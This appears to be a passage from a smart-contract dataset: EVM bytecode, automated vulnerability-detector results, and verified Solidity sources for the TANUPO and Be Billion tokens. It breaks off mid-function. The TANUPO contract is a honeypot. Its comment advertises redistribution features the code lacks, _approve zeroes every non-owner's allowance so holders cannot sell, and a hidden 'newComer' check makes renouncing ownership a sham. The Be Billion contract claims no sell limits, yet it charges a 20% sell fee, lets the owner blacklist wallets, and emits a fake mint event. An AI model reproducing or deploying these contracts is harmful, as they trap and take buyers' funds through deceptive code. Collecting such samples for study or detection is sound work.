60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a0e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061345681613a96565b6134608483613c3b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806134e28761395c565b95509550955095509550955061354086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139c490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135d585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a0e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061362181613a96565b61362b8483613c3b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b600980549050811015613911578260026000600984815481106136e957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806137d0575081600360006009848154811061376857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156137ee57600a54683635c9adc5dea0000094509450505050613958565b613877600260006009848154811061380257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846139c490919063ffffffff16565b9250613902600360006009848154811061388d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836139c490919063ffffffff16565b915080806001019150506136ca565b50613930683635c9adc5dea00000600a5461294690919063ffffffff16565b82101561394f57600a54683635c9adc5dea00000935093505050613958565b81819350935050505b9091565b60008060008060008060008060006139798a600c54600d54613c75565b9250925092506000613989612be7565b9050600080600061399c8e878787613d0b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613a0683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612397565b905092915050565b600080828401905083811015613a8c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613aa0612be7565b90506000613ab782846128c090919063ffffffff16565b9050613b0b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a0e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613c3657613bf283600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a0e90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613c5082600a546139c490919063ffffffff16565b600a81905550613c6b81600b54613a0e90919063ffffffff16565b600b819055505050565b600080600080613ca16064613c93888a6128c090919063ffffffff16565b61294690919063ffffffff16565b90506000613ccb6064613cbd888b6128c090919063ffffffff16565b61294690919063ffffffff16565b90506000613cf482613ce6858c6139c490919063ffffffff16565b6139c490919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613d2485896128c090919063ffffffff16565b90506000613d3b86896128c090919063ffffffff16565b90506000613d5287896128c090919063ffffffff16565b90506000613d7b82613d6d85876139c490919063ffffffff16565b6139c490919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220c55e4e11129084101a1e9292e53b3a7492b4ba9afcd68d8d7318741a90eee88d64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,161 |
0x7e68d8165d02bc0a3ecbcbbb3ad7720c9d3ec564
|
/**
*Submitted for verification at Etherscan.io on 2021-08-13
*/
/*
Get rewarded 4% up to 20% of HOLDER REDISTRIBUTION by safekeeping $TANUPO token!
⚗️ TOKEN INFORMATION ⚗️
⚖️ 100 BILLION TOTAL SUPPLY
🔗 Blockchain » ERC20
💸 Buy and Sell Tax » 8%
—— 4% Redistribution to HOLDERS in SLP
—— 4% Token Development Fund/Audits/Listings in ETH
⏳ Max Buy Limit » 1% (1,000,000,000) for 5 minutes from Launch
♻️ Anti-Frontrun Mechanism » Additional 20% REDISTRIBUTION TO ALL HOLDERS in SLP (Within 60 seconds from BUY)
🐳 Anti-Whale Redistribution
—— if selling more than 4% of price impact, 6% Holder Redistribution tax in SLP
—— if selling more than 8% of price impact, 9% Holder Redistribution tax in SLP
—— if selling more than 12% of price impact,12% Holder Redistribution tax in SLP
https://t.me/tanupo
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract TANUPO is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 100 * 10**9 * 10**18;
string private _name = 'Tanukis Potion ';
string private _symbol = 'TANUPO | @tanupo ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122046b81dd1cf2f8186cbd835192d86b9b58b130d45350ab10c38879af05fbd954064736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,162 |
0xf4ffd23e2994a6915540485bfca1f7d4c54b3690
|
// Everybody wants to be billionaire.
// Name: Be Billion Token
// Symbol: BB
// Total Supply: 1B
// Liquidity: 100%
// No TAX in Buy
// No LIMIT in Sell. You can sell any amount at anytime.
// Telegram: https://t.me/BeBillionToken
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BeBillionToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Be Billion Token";
string private constant _symbol = "BB";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 0;
uint256 private _teamFee = 0;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _launchTime;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee = false;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
if (block.timestamp < _launchTime + 10 minutes) {
require(amount <= _maxTxAmount);
}
takeFee = false;
if (cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (20 seconds);
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 0;
_teamFee = 20;
takeFee = true;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if (contractTokenBalance > 0) {
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function addLiquidityETH() external onlyOwner() {
require(!tradingOpen, "Liquidity already added");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 1000000000 * 10**9;
tradingOpen = true;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
